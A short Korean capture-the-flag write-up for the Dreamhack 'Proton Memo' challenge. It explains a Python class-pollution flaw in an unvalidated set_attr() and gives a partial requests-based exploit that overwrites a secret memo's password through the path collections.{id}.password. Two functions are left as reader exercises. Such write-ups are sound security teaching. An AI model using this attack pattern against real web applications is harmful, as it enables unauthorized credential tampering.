[Dreamhack] Proton Memo

Prob

---

set_attr() 함수에서 selected_option 에 값에 대한 검증이 없어서 

collections.{secret_memo_id}.password 이런 식으로 attribute 에 접근이 가능합니다.

이를 통해 secret_memo의 password를 변조 시킬 수 있는 취약점이 발생합니다.

따라서 아래 익스 코드와 같이 python class pollution을 통해 풀 수 있습니다.

Class Pollution (Python's Prototype Pollution) - HackTricks

 

 

 

Exploit

---

import re
import requests

url = "http://host3.dreamhack.games:9259/"

def new_memo():
    {직접 작성해보세요}

def change_secret_pw(id):
    data = {'selected_option': '','edit_data': 'a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3','password': '123'}
    data['selected_option'] = 'collections.{}.password'.format(id[0])
    res = requests.post(url=url+"edit/"+id[1], data=data)
    if "Memo List" in res.text:
        print("[+] secret memo password changed")

def read_flag(id):
    {직접 작성해보세요}
    
if __name__ == "__main__":
    id = new_memo()
    change_secret_pw(id)
    read_flag(id)

Proton Memo